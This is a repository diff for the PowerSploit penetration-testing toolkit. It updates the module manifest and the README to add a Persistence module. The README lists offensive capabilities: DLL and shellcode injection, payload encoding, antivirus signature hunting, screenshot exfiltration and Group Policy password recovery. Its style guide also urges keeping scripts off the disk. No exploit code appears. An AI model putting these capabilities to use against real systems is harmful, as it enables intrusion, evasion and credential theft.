NestedModules = @() + +# Functions to export from this module +FunctionsToExport = '*' + +# Cmdlets to export from this module +CmdletsToExport = '*' + +# Variables to export from this module +VariablesToExport = '' + +# Aliases to export from this module +AliasesToExport = '' + +# List of all modules packaged with this module. +ModuleList = @( @{ModuleName = 'PowerSploit'; ModuleVersion = '1.0.0.0'; GUID = '6753b496-d842-40a3-924a-0f09e248640c'}, + @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, + @{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}, + @{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}, + @{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'}, + @{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, + @{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'}, + @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, + @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'} + ) + +# List of all files packaged with this module +FileList = 'PowerSploit.psd1', 'PowerSploit.psm1' + +# Private data to pass to the module specified in RootModule/ModuleToProcess +# PrivateData = '' + +# HelpInfo URI of this module +# HelpInfoURI = '' + +# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. +# DefaultCommandPrefix = '' + }
\ No newline at end of file @@ -1,191 +1,207 @@ -### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid reverse engineers, forensic analysts, and penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
-
-## CodeExecution
-
-**Execute code on a target machine.**
-
-#### `Invoke-DllInjection`
-
-Injects a Dll into the process ID of your choosing.
-
-#### `Invoke-Shellcode`
-
-Injects shellcode into the process ID of your choosing or within PowerShell locally.
-
-## ScriptModification
-
-**Modify and/or prepare scripts for execution on a compromised machine.**
-
-#### `Out-EncodedCommand`
-
-Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
-
-#### `Out-CompressedDll`
-
-Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.
-
-#### `Out-EncryptedScript`
-
-Encrypts text files/scripts.
-
-#### `Remove-Comments`
-
-Strips comments and extra whitespace from a script.
-
-## PETools
-
-**Parse/manipulate Windows portable executables.**
-
-#### `Get-PEHeader`
-
-An in-memory and on-disk PE parsing utility.
-
-#### `Get-PEArchitecture`
-
-Returns the architecture for which an executable was compiled.
-
-#### `Get-DllLoadPath`
-
-Returns the path from which Windows will load a Dll for the given executable.
-
-## ReverseEngineering
-
-**Tools to aid in reverse engineering.**
-
-#### `Get-PEB`
-
-Returns the process environment block (PEB) of a process.
-
-#### `Get-ILDisassembly`
-
-Disassembles a raw MSIL byte array passed in from a MethodInfo object in a manner similar to that of Ildasm.
-
-#### `Get-KernelModuleInfo`
-
-Returns loaded kernel module information.
-
-#### `Get-StructFromMemory`
-
-Marshals data from an unmanaged block of memory in an arbitrary process to a newly allocated managed object of the specified type.
-
-#### `Get-Member`
-
-A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members
-
-#### `Get-Strings`
-
-Dumps strings from files in both Unicode and Ascii. This cmdlet replicates the functionality of strings.exe from Sysinternals.
-
-#### `Get-MethodAddress`
-
-Get the unmanaged function address of a .NET method.
-
-## AntivirusBypass
-
-**AV doesn't stand a chance against PowerShell!**
-
-#### `Find-AVSignature`
-
-Locates single Byte AV signatures utilizing the same method as DSplit from "class101".
-
-## Exfiltration
-
-**All your data belong to me!**
-
-#### `Get-TimedScreenshot`
-
-A function that takes screenshots at a regular interval and saves them to a folder.
-
-## Recon
-
-**Tools to aid in the reconnaissance phase of a penetration test.**
-
-#### `Get-HttpStatus`
-
-Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file.
-
-#### `Invoke-ReverseDnsLookup`
-
-Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
-
-#### `Get-GPPPassword`
-
-Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
-
-## Recon\Dictionaries
-
-**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.**
-
-* admin.txt - <http://cirt.net/nikto2/>
-* generic.txt - <http://sourceforge.net/projects/yokoso/files/yokoso-0.1/>
-* sharepoint.txt - <http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/>
-
-## License
-
-The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE).
-
-## Usage
-
-Refer to the comment-based help in each individual script for detailed usage information.
-
-To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
-
-The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
-The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
-
-To use the module, type `Import-Module PowerSploit`
-
-To see the commands imported, type `Get-Command -Module PowerSploit`
-
-For help on each individual command, Get-Help is your friend.
-
-Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
-
-## Script Style Guide
-
-**For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.**
-
-* Avoid Write-Host **at all costs**. You should output custom objects instead. For more information on creating custom objects, read these articles:
- * <http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx>
- * <http://technet.microsoft.com/en-us/library/ff730946.aspx>
-
-* If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'.
-
-* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license.
-
-* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell.
-
-* I prefer that variable names be capitalized and be as descriptive as possible.
-
-* Provide logical spacing in between your code. Indent your code to make it more readable.
-
-* If you find yourself repeating code, write a function.
-
-* Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error.
-
-* If you are writing a script that interfaces with the Win32 API, do not compile C# code unless absolutely necessary. It is imperative that nothing aside from the script touches the disk.
-
-* Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.
-
-* I don't want any v3 dependencies right now. In fact, it would be ideal to use `Set-StrictMode -Version 2.0` to ensure you are conforming to PowerShell v2 best practices.
-
-* Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following:
- * `[Parameter(Position = 0, Mandatory = $True)]`
-
-* Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias.
-
-* Don't let commands run on for too long. For example, a pipeline is a natural place for a line break.
-
-* Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader.
-
-* Use Out-Null to suppress unwanted/irrelevant output.
-
-* Only use .NET code when absolutely necessary.
-
-* Use the Write-Output keyword when returning an object from a function. I know it's not necessary but it makes the code more readable.
-
-* Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.
-
-* Scripts that are intended to run on a remote machine should be self-contained and not rely upon any additional scripts. Scripts that are designed to run on your host machine can have dependencies on other scripts.
-
+### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid reverse engineers, forensic analysts, and penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: + +## CodeExecution + +**Execute code on a target machine.** + +#### `Invoke-DllInjection` + +Injects a Dll into the process ID of your choosing. + +#### `Invoke-Shellcode` + +Injects shellcode into the process ID of your choosing or within PowerShell locally. + +## ScriptModification + +**Modify and/or prepare scripts for execution on a compromised machine.** + +#### `Out-EncodedCommand` + +Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + +#### `Out-CompressedDll` + +Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. + +#### `Out-EncryptedScript` + +Encrypts text files/scripts. + +#### `Remove-Comments` + +Strips comments and extra whitespace from a script. + +## Persistence + +**Add persistence capabilities to a PowerShell script** + +#### `New-UserPersistenceOptions` + +Configure user-level persistence options for the Add-Persistence function. + +#### `New-ElevatedPersistenceOptions` + +Configure elevated persistence options for the Add-Persistence function. + +#### `Add-Persistence` + +Add persistence capabilities to a script. + +## PETools + +**Parse/manipulate Windows portable executables.** + +#### `Get-PEHeader` + +An in-memory and on-disk PE parsing utility. + +#### `Get-PEArchitecture` + +Returns the architecture for which an executable was compiled. + +#### `Get-DllLoadPath` + +Returns the path from which Windows will load a Dll for the given executable. + +## ReverseEngineering + +**Tools to aid in reverse engineering.** + +#### `Get-PEB` + +Returns the process environment block (PEB) of a process. + +#### `Get-ILDisassembly` + +Disassembles a raw MSIL byte array passed in from a MethodInfo object in a manner similar to that of Ildasm. + +#### `Get-KernelModuleInfo` + +Returns loaded kernel module information. + +#### `Get-StructFromMemory` + +Marshals data from an unmanaged block of memory in an arbitrary process to a newly allocated managed object of the specified type. + +#### `Get-Member` + +A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members + +#### `Get-Strings` + +Dumps strings from files in both Unicode and Ascii. This cmdlet replicates the functionality of strings.exe from Sysinternals. + +#### `Get-MethodAddress` + +Get the unmanaged function address of a .NET method. + +## AntivirusBypass + +**AV doesn't stand a chance against PowerShell!** + +#### `Find-AVSignature` + +Locates single Byte AV signatures utilizing the same method as DSplit from "class101". + +## Exfiltration + +**All your data belong to me!** + +#### `Get-TimedScreenshot` + +A function that takes screenshots at a regular interval and saves them to a folder. + +## Recon + +**Tools to aid in the reconnaissance phase of a penetration test.** + +#### `Get-HttpStatus` + +Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. + +#### `Invoke-ReverseDnsLookup` + +Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. + +#### `Get-GPPPassword` + +Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml. + +## Recon\Dictionaries + +**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.** + +* admin.txt - <http://cirt.net/nikto2/> +* generic.txt - <http://sourceforge.net/projects/yokoso/files/yokoso-0.1/> +* sharepoint.txt - <http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/> + +## License + +The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE). + +## Usage + +Refer to the comment-based help in each individual script for detailed usage information. + +To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module PowerSploit` + +To see the commands imported, type `Get-Command -Module PowerSploit` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + +## Script Style Guide + +**For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.** + +* Avoid Write-Host **at all costs**. You should output custom objects instead. For more information on creating custom objects, read these articles: + * <http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx> + * <http://technet.microsoft.com/en-us/library/ff730946.aspx> + +* If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'. + +* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license. + +* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. + +* I prefer that variable names be capitalized and be as descriptive as possible. + +* Provide logical spacing in between your code. Indent your code to make it more readable. + +* If you find yourself repeating code, write a function. + +* Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error. + +* If you are writing a script that interfaces with the Win32 API, do not compile C# code unless absolutely necessary. It is imperative that nothing aside from the script touches the disk. + +* Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to. + +* I don't want any v3 dependencies right now. In fact, it would be ideal to use `Set-StrictMode -Version 2.0` to ensure you are conforming to PowerShell v2 best practices. + +* Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following: + * `[Parameter(Position = 0, Mandatory = $True)]` + +* Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias. + +* Don't let commands run on for too long. For example, a pipeline is a natural place for a line break. + +* Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader. + +* Use Out-Null to suppress unwanted/irrelevant output. + +* Only use .NET code when absolutely necessary. + +* Use the Write-Output keyword when returning an object from a function. I know it's not necessary but it makes the code more readable. + +* Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters. + +* Scripts that are intended to run on a remote machine should be self-contained and not rely upon any additional scripts. Scripts that are designed to run on your host machine can have dependencies on other scripts. + * If a script creates complex custom objects, include a ps1xml file that will properly format the object's output.
\ No newline at end of file |